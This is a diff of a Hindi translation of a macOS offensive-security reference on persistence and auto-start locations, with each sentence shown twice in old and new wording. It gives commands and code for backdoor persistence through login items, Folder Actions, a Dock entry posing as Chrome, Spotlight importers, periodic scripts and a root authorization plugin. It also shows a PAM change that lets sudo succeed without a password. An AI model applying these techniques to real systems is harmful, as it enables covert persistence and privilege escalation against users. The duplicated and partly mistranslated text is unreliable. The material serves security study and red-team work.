लेख: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
* सैंडबॉक्स को छलने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* लेकिन आपको तार्किक विधि के साथ `osascript` को निष्पादित करने की आवश्यकता होती है
* लेकिन आपको तार्किक विधि से `osascript` को निष्पादित करने की आवश्यकता होती है
#### स्थान
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
* **ट्रिगर:** लॉगिन
* एक्सप्लॉइट पेलोड संग्रहीत करने के लिए **`osascript`** को कॉल किया जाता है
* एक्सप्लॉइट पेलोड संग्रहीत करने के लिए **`osascript`** को निष्पादित किया जाता है
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
* **ट्रिगर:** लॉगिन
* रूट की आवश्यकता होती है
* रूट अनिवार्य
#### विवरण
@ -563,17 +560,17 @@ osascript -e 'tell application "System Events" to make login item at end with pr
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
```
ये आइटम फ़ाइल **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** में संग्रहीत होते हैं।
ये आइटम फ़ाइल में संग्रहीत होते हैं **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
**लॉगिन आइटम** को भी API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) का उपयोग करके निर्दिष्ट किया जा सकता है, जो कॉन्फ़िगरेशन को **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** में संग्रहीत करेगा।
**लॉगिन आइटम** भी इस्तेमाल करके दिखाए जा सकते हैं API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) जो कॉन्फ़िगरेशन को संग्रहीत करेगा **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** में
### लॉगिन आइटम के रूप में ZIP
(लॉगिन आइटम के बारे में पिछले खंड की जांच करें, यह एक विस्तार है)
यदि आप एक **ZIP** फ़ाइल को एक **लॉगिन आइटम** के रूप में संग्रहीत करते हैं, तो **`Archive Utility`** इसे खोलेगा और यदि ज़िप उदाहरण के लिए **`~/Library`** में संग्रहीत होता है और फ़ोल्डर **`LaunchAgents/file.plist`** में एक बैकडोर होता है, तो वह फ़ोल्डर बनाया जाएगा (यह डिफ़ॉल्ट रूप से नहीं होता है) और प्लिस्ट जोड़ा जाएगा ताकि अगली बार जब उपयोगकर्ता फिर से लॉग इन करेगा, **प्लिस्ट में निर्दिष्ट बैकडोर को निष्पादित किया जाएगा**।
यदि आप एक **ZIP** फ़ाइल को एक **लॉगिन आइटम** के रूप में संग्रहीत करते हैं तो **`Archive Utility`** इसे खोलेगा और यदि ज़िप उदाहरण के लिए **`~/Library`** में संग्रहीत होता है और यह फ़ोल्डर **`LaunchAgents/file.plist`** बैकडोर के साथ होता है, तो वह फ़ोल्डर बनाया जाएगा (यह डिफ़ॉल्ट रूप से नहीं होता है) और प्लिस्ट जोड़ा जाएगा ताकि अगली बार जब उपयोगकर्ता फिर से लॉग इन करेगा, **प्लिस्ट में दिखाए गए बैकडोर को निष्पादित किया जाएगा**।
एक और विकल्प हो सकता है कि यदि उपयोगकर्ता HOME में पहले से मौजूद है तो फ़ोल्डर LaunchAgents बनाएं तो यह तकनीक फिर भी काम करेगी।
एक और विकल्प हो सकता है उपयोगकर्ता होम में फ़ाइलें **`.bash_profile`** और **`.zshenv`** बनाना, इसलिए यदि फ़ोल्डर LaunchAgents पहले से मौजूद है तो यह तकनीक फिर भी काम करेगी।
### At
@ -586,9 +583,9 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
#### **विवरण**
"At tasks" का उपयोग **निश्चित समय पर कार्यों को निर्धारित करने** के लिए किया जाता है।\
ये कार्यों क्रॉन से अलग होते हैं क्योंकि **ये एक बार के कार्य होते हैं** जो कि **निष्पादित होने के बाद हटा दिए जाते हैं**। हालांकि, वे **सिस्टम पुनरारंभ के बाद भी बच जाएंगे**, इसलिए इन्हें एक संभावित खतरा के रूप में नहीं खारिज किया जा सकता है।
ये कार्य cron से अलग होते हैं क्योंकि **ये एक बार के कार्य होते हैं** जो कि **निष्पादित होने के बाद हटा दिए जाते हैं**। हालांकि, वे **सिस्टम पुनरारंभ के बाद भी बच जाएंगे** इसलिए इन्हें एक संभावित खतरा के रूप में निराकरण नहीं किया जा सकता है।
**डिफ़ॉल्ट** रूप से वे **अक्षम** होते हैं, लेकिन **रूट** उपयोगकर्ता उन्हें इस तरह से **सक्षम** कर सकता है:
**डिफ़ॉल्ट** रूप से वे **अक्षम** होते हैं लेकिन **रूट** उपयोगकर्ता उन्हें **सक्षम** कर सकता है:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
@ -646,21 +643,21 @@ total 32
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
फ़ाइल का नाम कतार, नौकरी नंबर और वह समय समेत होता है जिसे यह निर्धारित किया गया है कि यह चलेगा। उदाहरण के लिए, हम `a0001a019bdcd2` पर एक नज़र डालते हैं।
फ़ाइलनाम में कतार, नौकरी नंबर और यह समय होता है जिसे चलाने के लिए निर्धारित किया गया है। उदाहरण के लिए हम `a0001a019bdcd2` पर एक नज़र डालते हैं।
* `a` - यह कतार है
* `0001a` - हेक्स में नौकरी नंबर, `0x1a = 26`
* `019bdcd2` - हेक्स में समय। यह इपॉक के बाद बिताए गए मिनटों को प्रतिष्ठान करता है। `0x019bdcd2` दशमलव में `26991826` है। यदि हम इसे 60 से गुणा करें तो हमें `1619509560` मिलता है, जो `GMT: 2021 अप्रैल 27, मंगलवार 7:46:00` है।
यदि हम नौकरी फ़ाइल को प्रिंट करें, तो हमें पता चलता है कि यह `at -c` का उपयोग करके हमें मिली जानकारी को ही सामग्री में शामिल करती है।
यदि हम नौकरी फ़ाइल को प्रिंट करें, तो हमें `at -c` का उपयोग करके प्राप्त की गई जानकारी का पता चलता है।
### फ़ोल्डर क्रियाएँ
लेख: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
लेख: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
* सैंडबॉक्स को छलन करने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* लेकिन आपको तर्क के साथ osascript को बुलाने और फ़ोल्डर क्रियाएँ को कॉन्फ़िगर करने की क्षमता होनी चाहिए
* सैंडबॉक्स को छलन करने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* लेकिन आपको तर्क के साथ osascript को कॉल करने और फ़ोल्डर क्रियाएँ को कॉन्फ़िगर करने की क्षमता होनी चाहिए
#### स्थान
@ -672,22 +669,22 @@ total 32
#### विवरण और शोषण
एक फ़ोल्डर क्रिया स्क्रिप्ट उस फ़ोल्डर के साथ निष्पादित होता है जिसे इसे जोड़े या हटाए गए आइटम, या जब इसकी विंडो खुली, बंद हुई, हटाई गई या आकार बदला गया होता है:
एक फ़ोल्डर क्रिया स्क्रिप्ट उस फ़ोल्डर के साथ निर्धारित होने पर निष्पादित होता है जिसमें उसे जोड़ा जाता है या हटाया जाता है, या जब इसकी विंडो खुली, बंद, हटाई जाती है, या इसे आकार दिया जाता है:
* फ़ाइंडर UI के माध्यम से फ़ोल्डर खोलें
* फ़ोल्डर में एक फ़ाइल जोड़ें (ड्रैग/ड्रॉप या टर्मिनल से शेल प्रॉम्प्ट में भी किया जा सकता है)
* फ़ोल्डर से एक फ़ाइल हटाएँ (ड्रैग/ड्रॉप या टर्मिनल से शेल प्रॉम्प्ट में भी किया जा सकता है)
* यूआई के माध्यम से फ़ोल्डर से बाहर नेविगेट करें
इसे कार्यान्वित करने के कुछ तरीके हैं:
इसे लागू करने के कुछ तरीके हैं:
1. [Automator](https://support.apple.com/guide/automator/welcome/mac) प्रोग्राम का उपयोग करके एक फ़ोल्डर क्रिया वर्कफ़्लो फ़ाइल (.workflow) बनाएं और इसे एक सेवा के रूप में स्थापित करें।
2. एक फ़ोल्डर पर दायां क्लिक करें, `Folder Actions Setup...`, `Run Service` का चयन करें और मैन्युअल रूप से एक स्क्रिप्ट संलग्न करें।
3. OSAScript का उपयोग करके `System Events.app` को Apple Event संदेश भेजने के लिए प्रोग्रामेटिक रूप से एक न`Folder Action` क्वेरी और पंजीकरण करें।
2. एक फ़ोल्डर पर दायां क्लिक करें, `Folder Actions Setup...`, `Run Service` का चयन करें, और मैन्युअल रूप से एक स्क्रिप्ट संलग्न करें।
3. OSAScript का उपयोग करके `System Events.app` को Apple Event संदेश भेजने के लिए प्रोग्रामेटिक रूप से एक नया `Folder Action` प्रश्न करें और पंजीकृत करें।
* यह एक OSAScript का उपयोग करके `System Events.app` को Apple Event संदेश भेजने के लिए स्थायित्व को कार्यान्वित करने का तरीका है
* यह एक तरीका है प्रद्युत्पन्नता को लागू करने का, जहां OSAScript का उपयोग करके Apple Event संदेश `System Events.app` को भेजने के लिए किया जाता है
यह स्क्रिप्ट निष्पादित होगा:
@ -717,7 +714,7 @@ fa.scripts.push(myScript);
* यह एक GUI के माध्यम से स्थायित्व को कार्यान्वित करने का तरीका है:
* यह एक GUI के माध्यम से स्थिरता को कार्यान्वित करने का तरीका है:
यह स्क्रिप्ट निष्पादित होगा:
@ -741,11 +738,11 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
तो, `Folder Actions Setup` ऐप को खोलें, **वह फ़ोल्डर चुनें जिसे आप देखना चाहते हैं** और अपने मामले में **`folder.scpt`** को चुनें (मेरे मामले में मैंने इसे output2.scp नाम दिया था):
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
अब, यदि आप उस फ़ोल्डर को **Finder** के साथ खोलें, तो आपका स्क्रिप्ट चलाया जाएगा।
यह कॉन्फ़िगरेशन **plist** में संग्रहीत की गई थी, जो बेस64 प्रारूप में है और स्थित है **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**।
यह कॉन्फ़िगरेशन **plist** में संग्रहीत किया गया था, जो बेस64 प्रारूप में है और स्थित है **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**।
अब, चलें इस persistence को GUI एक्सेस के बिना तैयार करने की कोशिश करें:
@ -768,8 +765,8 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* सैंडबॉक्स को छलना करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle)
* लेकिन आप एक नय सैंडबॉक्स में आ जाएंगे
* सैंडबॉक्स को छोड़ने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle)
* लेकिन आप एक नय सैंडबॉक्स में आ जाएंगे
#### स्थान
@ -784,7 +781,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
* सैंडबॉक्स को छलना करने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* सैंडबॉक्स को छोड़ने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* लेकिन आपको सिस्टम में एक खतरनाक एप्लिकेशन स्थापित करना होगा
#### स्थान
@ -794,7 +791,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.
#### विवरण और शोषण
डॉक में दिखाई देने वाले सभी एप्लिकेशन्स plist में निर्दिष्ट होते हैं: **`~/Library/Preferences/com.apple.dock.plist`**
डॉक में दिखाई देने वाले सभी एप्लिकेशन प्लिस्ट में निर्दिष्ट होते हैं: **`~/Library/Preferences/com.apple.dock.plist`**
यह संभव है कि आप एक एप्लिकेशन जोड़ सकते हैं बस इसके साथ:
@ -808,7 +805,7 @@ killall Dock
```
{% endcode %}
कुछ **सामाजिक इंजीनियरिंग** का उपयोग करके आप डॉक के अंदर उदाहरण के लिए Google Chrome की अनुकरण कर सकते हैं और वास्तव में अपनी स्क्रिप्ट को निष्पादित कर सकते हैं:
कुछ **सामाजिक इंजीनियरिंग** का उपयोग करके आप डॉक के अंदर उदाहरण के लिए Google Chrome की अनुकरण कर सकते हैं और वास्तव में अपनी स्क्रिप्ट को चला सकते हैं:
```bash
#!/bin/sh
@ -879,7 +876,7 @@ killall Dock
#### विवरण और उत्पादन
अपने कोड के साथ एक कलर पिकर बंडल को कंपाइल करें (आप [**इसका उपयोग कर सकते हैं उदाहरण के लिए**](https://github.com/viktorstrate/color-picker-plus)) और एक constructor जोड़ें (स्क्रीन सेवर अनुभाग में की तरह) और बंडल को `~/Library/ColorPickers` में कॉपी करें।
अपने कोड के साथ एक कलर पिकर बंडल को कंपाइल करें (आप [**इसका उपयोग कर सकते हैं उदाहरण के लिए**](https://github.com/viktorstrate/color-picker-plus)) और एक constructor जोड़ें (जैसे [स्क्रीन सेवर खंड](macos-auto-start-locations.md#screen-saver) में) और बंडल को `~/Library/ColorPickers` में कॉपी करें।
फिर, जब कलर पिकर ट्रिगर होता है, आपका कोड भी होना चाहिए।
@ -896,12 +893,12 @@ killall Dock
```
{% endcode %}
### फ़ाइंडर सिंक प्लगइन
### फ़ाइंडर सिंक प्लगइन्स
**लेख**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
**लेख**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
* सैंडबॉक्स को छलने के लिए उपयोगी: **नहीं, क्योंकि आपको अपना खुद का ऐप्लिकेशन चलाना होगा**
* सैंडबॉक्स को दौर करने के लिए उपयोगी: **नहीं, क्योंकि आपको अपना खुद का ऐप्लिकेशन चलाना होगा**
#### स्थान
@ -909,7 +906,7 @@ killall Dock
#### विवरण और उत्पादन
फ़ाइंडर सिंक एक्सटेंशन के साथ एक ऐप्लिकेशन उदाहरण [**यहां पाया जा सकता है**](https://github.com/D00MFist/InSync)
फ़ाइंडर सिंक एक्सटेंशन के साथ एक ऐप्लिकेशन उदाहरण [**यहां पाया जा सकता है**](https://github.com/D00MFist/InSync).
ऐप्लिकेशन में `फ़ाइंडर सिंक एक्सटेंशन` हो सकता है। यह एक्सटेंशन एक ऐप्लिकेशन के अंदर जाएगा जो चलाया जाएगा। इसके अलावा, एक्सटेंशन को अपनी कोड को चलाने के लिए **किसी वैध Apple डेवलपर सर्टिफिकेट के साथ साइन किया जाना चाहिए**, इसे **सैंडबॉक्स** करना चाहिए (हालांकि ढीली छूटें जोड़ी जा सकती हैं) और इसे कुछ इस तरह से पंजीकृत किया जाना चाहिए:
```bash
@ -935,13 +932,13 @@ pluginkit -e use -i com.example.InSync.InSync
* `~/Library/Screen Savers`
* **ट्रिगर**: स्क्रीन सेवर का चयन करें
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### विवरण और उत्पादन
#### विवरण और शोषण
Xcode में एक नया प्रोजेक्ट बनाएं और एक नया **स्क्रीन सेवर** उत्पन्न करने के लिए टेम्पलेट का चयन करें। फिर, इसे अपने कोड के लिए उपयोग करें, उदाहरण के लिए निम्नलिखित कोड तक लोग उत्पन्न करने के लिए
Xcode में एक नया प्रोजेक्ट बनाएं और एक नया **स्क्रीन सेवर** उत्पन्न करने के लिए टेम्पलेट का चयन करें। फिर, इसे अपने कोड में शामिल करें, उदाहरण के लिए निम्नलिखित कोड ताकि लॉग उत्पन्न हों
**बिल्ड** करें, और `.saver` बंडल को **`~/Library/Screen Savers`** में कॉपी करें। फिर, स्क्रीन सेवर GUI खोलें और इस पर क्लिक करें, इसे बहुत सारे लॉग उत्पन्न होने चाहिए:
**बिल्ड** करें, और `.saver` बंडल को **`~/Library/Screen Savers`** में कॉपी करें। फिर, स्क्रीन सेवर GUI खोलें और उस पर क्लिक करें, इससे बहुत सारे लॉग उत्पन्न होने चाहिए:
{% code overflow="wrap" %}
```bash
@ -1024,7 +1021,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
@end
```
### स्पॉटलाइट प्लगइन्स
### स्पॉटलाइट प्लगइन
सैंडबॉक्स को छलने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle)
@ -1036,24 +1033,24 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
* **ट्रिगर**: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक एक्सटेंशन वाली नई फ़ाइल बनाई जाती है।
* `/Library/Spotlight/`
* **ट्रिगर**: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक एक्सटेंशन वाली नई फ़ाइल बनाई जाती है।
* रूट की आवश्यकता है
* रूट की आवश्यकता होती ह
* `/System/Library/Spotlight/`
* **ट्रिगर**: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक एक्सटेंशन वाली नई फ़ाइल बनाई जाती है।
* रूट की आवश्यकता है
* रूट की आवश्यकता होती ह
* `Some.app/Contents/Library/Spotlight/`
* **ट्रिगर**: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक एक्सटेंशन वाली नई फ़ाइल बनाई जाती है।
* नई ऐप की आवश्यकता होती है
#### विवरण और उत्पादन
#### विवरण और शोषण
स्पॉटलाइट मैकओएस की अंतर्निहित खोज सुविधा है, जो उपयोगकर्ताओं को उनके कंप्यूटर पर डेटा तक त्वरित और व्यापक पहुंच प्रदान करने के लिए डिज़इन की गई है।\
इस त्वरित खोज क्षमता को सुविधाजनक बनाने के लिए, स्पॉटलाइट एक **प्रोप्राइटरी डेटाबेस** बनाए रखता है और एक इंडेक्स बनाता है जिसमें **अधिकांश फ़ाइलें पार्स करके**, फ़ाइलों के नाम और उनकी सामग्री के माध्यम से त्वरित खोज की जाती है
स्पॉटलाइट मैकओएस का अंतर्निहित खोज सुविधा है, जिसका उद्देश्य उपयोगकर्ताओं को उनके कंप्यूटर पर डेटा तक त्वरित और व्यापक पहुंच प्रदान करना है।\
इस त्वरित खोज क्षमता को सुविधाजनक बनाने के लिए, स्पॉटलाइट एक **प्रोप्राइटरी डेटाबेस** बनाए रखता है और एक इंडेक्स बनाता है जिसमें **अधिकांश फ़ाइलें पार्स की जाती हैं**, जिससे फ़ाइलों के नाम और उनकी सामग्री के माध्यम से त्वरित खोज की जा सके
स्पॉटलाइट की आधारभूत यांत्रिकी में 'mds' नामक एक केंद्रीय प्रक्रिया होती है, जिसे 'मेटाडेटा सर्वर' के लिए खड़ा किया गया है। यह प्रक्रिया संपूर्ण स्पॉटलाइट सेवा को संचालित करती है। इसके साथ, कई 'mdworker' डेमन होते हैं जो विभिन्न रखरखाव कार्यों को करते हैं, जैसे कि विभिन्न फ़ाइल प्रकारों को इंडेक्स करना (`ps -ef | grep mdworker`)। ये कार्य संभव होते हैं स्पॉटलाइट इंपोर्टर प्लगइन्स या **".mdimporter बंडल्स**" के माध्यम से, जो स्पॉटलाइट को विभिन्न फ़ाइल प्रारूपों की सामग्री को समझने और इंडेक्स करने की सुविधा प्रदान करते हैं।
स्पॉटलाइट की आधारभूत यांत्रिकी में 'mds' नामक एक केंद्रीय प्रक्रिया होती है, जिसे 'मेटाडेटा सर्वर' के लिए खड़ा किया गया है। यह प्रक्रिया संपूर्ण स्पॉटलाइट सेवा को संचालित करती है। इसके साथ, कई 'mdworker' डेमन होते हैं जो विभिन्न रखरखाव कार्यों को करते हैं, जैसे कि विभिन्न फ़ाइल प्रकारों को इंडेक्स करना (`ps -ef | grep mdworker`)। ये कार्य संभव होते हैं स्पॉटलाइट इंपोर्टर प्लगइन या **".mdimporter बंडल"** के माध्यम से, जो स्पॉटलाइट को विभिन्न फ़ाइल प्रारूपों की सामग्री को समझने और इंडेक्स करने की सुविधा प्रदान करते हैं।
प्लगइन्स या **`.mdimporter`** बंडल्स पहले से बताए गए स्थानों में स्थित होते हैं और यदि एक नया बंडल दिखाई देता है तो यह मिनटों के भीतर लोड हो जाता है (किसी भी सेवा को पुनः प्रारंभ करने की आवश्यकता नहीं होती है)। इन बंडल्स को इंडिकेट करना चाहिए कि वे किस **फ़ाइल प्रकार और एक्सटेंशन को प्रबंधित कर सकते हैं**, इस तरह, स्पॉटलाइट उन्हें उपयोग करेगा जब एक नई फ़ाइल बनाई जाती है जिसमें निर्दिष्ट एक्सटेंशन होती है।
प्लगइन या **`.mdimporter`** बंडल पहले से ही उल्लिखित स्थानों में स्थित होते हैं और यदि एक नया बंडल दिखाई देता है तो यह मिनटों के भीतर लोड हो जाता है (किसी भी सेवा को पुनः प्रारंभ करने की आवश्यकता नहीं होती है)। इन बंडलों को इंडिकेट करना चाहिए कि वे कौन से **फ़ाइल प्रकार और एक्सटेंशन को प्रबंधित कर सकते हैं**, इस तरह, स्पॉटलाइट उन्हें उपयोग करेगा जब एक नई फ़ाइल उल्लिखित एक्सटेंशन के साथ बनाई जाती है।
सभी लोड किए गए `mdimporters` को खोजना संभव है निम्नलिखित को चला कर पाया जा सकता है:
सभी लोड होने वाले `mdimporters` को खोजना संभव है निम्नलिखित को चला कर पाएं:
```bash
mdimport -L
Paths: id(501) (
@ -1099,15 +1096,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
```
{% hint style="danger" %}
यदि आप अन्य `mdimporter` के Plist की जांच करते हैं तो आपको प्रविष्टि **`UTTypeConformsTo`** नहीं मिलेगी। इसलिए यह एक निर्मित _यूनिफॉर्म टाइप पहचानकर्ता_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type_Identifier)) है और इसे विस्तार करने की आवश्यकता नहीं है।
यदि आप अन्य `mdimporter` के Plist की जांच करते हैं तो आपको प्रविष्टि **`UTTypeConformsTo`** नहीं मिलेगी। इसलिए यह एक अंतर्निहित _यूनिफॉर्म टाइप पहचानकर्ता_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) है और इसे विस्तारों को निर्दिष्ट करने की आवश्यकता नहीं होती है।
इसके अलावा, सिस्टम डिफ़ॉल्ट प्लगइन हमेशा प्राथमिकता देते हैं, इसलिए एक हमलावर केवल उन फ़ाइलों तक पहुंच सकता है जिन्हें अन्यथा Apple के अपने `mdimporters` द्वारा सूचीबद्ध नहीं किया गया है।
{% endhint %}
अपना खुद का आयातकर्ता बनाने के लिए आप इस प्रोजेक्ट से शुरू कर सकते हैं: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) और फिर नाम, **`CFBundleDocumentTypes`** और **`UTImportedTypeDeclarations`** को बदलें ताकि यह वह विस्तार समर्थित करें जिसे आप समर्थन करना चाहते हैं और उन्हें **`schema.xml`** में प्रतिबिंबित करें।\
फिर **`GetMetadataForFile`** फ़ंक्शन के कोड को **बदलें** ताकि जब प्रसंस्कृत एक्सटेंशन वाली फ़ाइल बनाई जाए, तो आपका पेलोड निष्पादित हो।
फिर **`GetMetadataForFile`** फ़ंक्शन कोड को **बदलें** ताकि जब प्रसंस्कृत विस्तार के साथ एक फ़ाइल बनाई जाती है, तो आपका पेलोड निष्पादित हो।
अंत में अपना नया `.mdimporter` **बिल्ड और कॉपी** करें तीनों पिछले स्थानों में और आप जब भी यह लोड होता है उसे जांच सकते हैं **लॉग्स की निगरानी** या **`mdimport -L.`** की जांच करके।
अंत में अपना नया `.mdimporter` **बनाएं और कॉपी करें** उपरोक्त स्थानों में और आप जब भी यह लोड होता है उसे जांच सकते हैं **लॉग्स की निगरानी** या **`mdimport -L.`** की जांच करके।
### ~~Preference Pane~~
@ -1133,7 +1130,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
## रूट सैंडबॉक्स छलना
{% hint style="success" %}
यहां आपको **सैंडबॉक्स छलने** के लिए उपयोगी शुरू स्थान मिलेंगे जिससे आप केवल किसी फ़ाइल में कुछ लिखकर इसे **रूट** के रूप में **चला सकते हैं** और/या अन्य **अजीब शर्तों** की आवश्यकता होती है।
यहां आपको **सैंडबॉक्स छलने** के लिए उपयोगी शुरू स्थान मिलेंगे जिससे आप केवल कुछ को **फ़ाइल में लिखकर** बस **रूट** होकर कुछ कर सकते हैं और/या अन्य **अजीब शर्तों** की आवश्यकता होती है।
{% endhint %}
### आवधिक
@ -1189,7 +1186,7 @@ total 8
```
{% endcode %}
वहाँ अन्य आवधिक स्क्रिप्ट हैं जो **`/etc/defaults/periodic.conf`** में निर्दिष्ट होंगे और निष्पादित किए जाएंगे:
वहाँ अन्य आवधिक स्क्रिप्ट हैं जो क्रियान्वित होंगे जो **`/etc/defaults/periodic.conf`** में दिखाए गए हैं:
```bash
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
@ -1199,7 +1196,7 @@ monthly_local="/etc/monthly.local" # Local scripts
यदि आप `/etc/daily.local`, `/etc/weekly.local` या `/etc/monthly.local` फ़ाइलों में से किसी भी फ़ाइल को लिखने में सफल होते हैं, तो यह **जल्द ही या बाद में निष्पादित होगी**
{% hint style="warning" %}
ध्यान दें कि पीरियडिक स्क्रिप्ट **स्क्रिप्ट के मालिक के रूप में निष्पादित होगा**। इसलिए, यदि एक साधारण उपयोगकर्ता स्क्रिप्ट का मालिक है, तो यह उपयोगकर्ता के रूप में निष्पादित होगी (यह विशेषाधिकार बढ़ाने के हमलों को रोक सकता है)।
ध्यान दें कि आवधिक स्क्रिप्ट **स्क्रिप्ट के मालिक के रूप में निष्पादित होगी**। इसलिए यदि एक सामान्य उपयोगकर्ता स्क्रिप्ट का मालिक है, तो यह उपयोगकर्ता के रूप में निष्पादित होगी (यह विशेषाधिकार बढ़ाने के हमलों को रोक सकता है)।
{% endhint %}
### PAM
@ -1222,11 +1219,11 @@ PAM मॉड्यूल्स की जांच करें:&#x20;
```bash
ls -l /etc/pam.d
```
एक persistence/privilege escalation तकनीक PAM का दुरुपयोग करती है जो बहुत ही आसान है, बस /etc/pam.d/sudo मॉड्यूल को संशोधित करके पहले लाइन में निम्नलिखित लाइन जोड़ें:
एक persistence/privilege escalation तकनीक PAM का दुरुपयोग करती है जो बहुत ही आसान है, बस /etc/pam.d/sudo मॉड्यूल को संशोधित करके पहले लाइन में निम्नलिखित लाइन जोड़नी होगी:
```bash
auth sufficient pam_permit.so
```
यहां यह ऐसा **दिखेगा**:
इसलिए यह **ऐसा दिखेगा**:
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
@ -1240,7 +1237,7 @@ session required pam_permit.so
और इसलिए **`sudo` का उपयोग करने का प्रयास** कोई भी काम करेगा।
{% hint style="danger" %}
ध्यान दें कि यह निर्देशिका TCC द्वारा संरक्षित है, इसलिए उपयोगकर्ता को पहुंच के लिए पूछताछ करने की संभावना बहुत अधिक है।
ध्यान दें कि यह निर्देशिका TCC द्वारा संरक्षित है, इसलिए उपयोगकर्ता को पहुंच के लिए पूछताछ करने के लिए प्रॉम्प्ट मिलने कअधिक संभावना है।
{% endhint %}
### अधिकृतता प्लगइन
@ -1248,7 +1245,7 @@ session required pam_permit.so
लेख: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
लेख: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* सैंडबॉक्स को दौर करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle)
* सैंडबॉक्स को बाईपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle)
* लेकिन आपको रूट होना चाहिए और अतिरिक्त कॉन्फ़िगरेशन करनी होगी
#### स्थान
@ -1259,7 +1256,7 @@ session required pam_permit.so
#### विवरण और शोषण
आप एक अधिकृतता प्लगइन बना सकते हैं जो स्थिरता बनाए रखने के लिए उपयोगकर्ता लॉग इन करते समय निष्पादित होगा। इन प्लगइन्स में से एक कैसे बनाएं इसके बारे में अधिक जानकारी के लिए पिछले लेखों की जांच करें (और सावधान रहें, एक बुरी तरह से लिखी गई प्लगइन आपको बाहर बंद कर सकती है और आपको अपने मैक को रिकवरी मोड से साफ़ करने की आवश्यकता होगी)।
आप एक अधिकृतता प्लगइन बना सकते हैं जो स्थिरता बनाए रखने के लिए उपयोगकर्ता लॉग-इन करते समय निष्पादित होगा। इन प्लगइन्स क कैसे बनाएं इसके बारे में अधिक जानकारी के लिए पिछले लेखों की जांच करें (और सावधान रहें, एक खराब तरीके से लिखा गया प्लगइन आपको बाहर बंद कर सकता है और आपको अपने मैक को रिकवरी मोड से साफ़ करने की आवश्यकता होगी)।
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
@ -1297,6 +1294,8 @@ EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
**`evaluate-mechanisms`** अधिकृति फ्रेमवर्क को सूचित करेगा कि उसे **अधिकृति के लिए एक बाहरी यंत्र को कॉल करने की आवश्यकता होगी**। इसके अलावा, **`privileged`** इसे रूट द्वारा निष्पादित करने के लिए करेगा।
इसे ट्रिगर करें:
```bash
security authorize com.asdf.asdf
@ -1313,7 +1312,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
#### स्थान
* **`/private/etc/man.conf`**
